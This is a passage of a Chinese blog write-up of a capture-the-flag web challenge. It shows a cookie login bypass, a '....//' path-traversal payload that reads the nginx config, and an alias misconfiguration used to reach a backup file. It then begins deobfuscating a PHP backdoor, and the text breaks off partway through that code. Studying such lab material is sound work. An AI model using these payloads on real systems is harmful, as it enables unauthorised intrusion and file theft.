攻防世界Web:Web_php_wrong_nginx_config

本文介绍了通过御剑扫描工具发现的Web安全问题,涉及登录页面、robots.txt隐藏文件、PHP混淆及Nginx配置漏洞。通过分析Hack.php和hint.php,成功绕过过滤并访问敏感文件,揭示了PHP混淆代码审计的过程,最终利用脚本获取flag,强调了提升代码能力的重要性。
摘要由CSDN通过智能技术生成

首先进来是一个登录页面:
在这里插入图片描述通过御剑扫描,发现了robots.txt,打开发现两个php文件:
在这里插入图片描述hint.php:
在这里插入图片描述Hack.php是跳转到登录页面:
在这里插入图片描述抓包看看Hack.php,发现了可疑的点Cookie:isLogin=0,不妨修改为1,进入控制中心:
在这里插入图片描述发现url中file=index&ext=php,不妨测试一下../,发现这里过滤了../
在这里插入图片描述绕过../,根据hint.php可以知道配置文件的路径,那就构造payload:file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=,读取

server {
   
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
   
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
   
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
   
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
   
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
   
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
   
            log_not_found off;
            deny all;
    }
    location /web-img {
   
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {
     
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

代码审计,关键词alias:用来指定请求资源的真实路径,访问web-img
在这里插入图片描述找到敏感文件:/var/www/hack.php.bak
在这里插入图片描述根据经验,这应该是一个PHP混淆,输出$f看看:
在这里插入图片描述整理代码:

<?php
        $kh="42f4";
        $kf="e9ac";
        function x($t,$k){
   
            $c=strlen($k);
            $l=strlen($t);
            $o="";
            for($i=0;$i
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值